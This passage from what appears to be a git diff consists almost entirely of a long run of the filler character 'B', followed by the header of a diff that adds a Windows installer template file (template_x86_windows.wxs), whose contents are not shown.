BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB \ No newline at end of file diff --git a/data/templates/src/msi/template_x86_windows.wxs b/data/templates/src/msi/template_x86_windows.wxs new file mode 100644 index 0000000000..84097d4936 --- 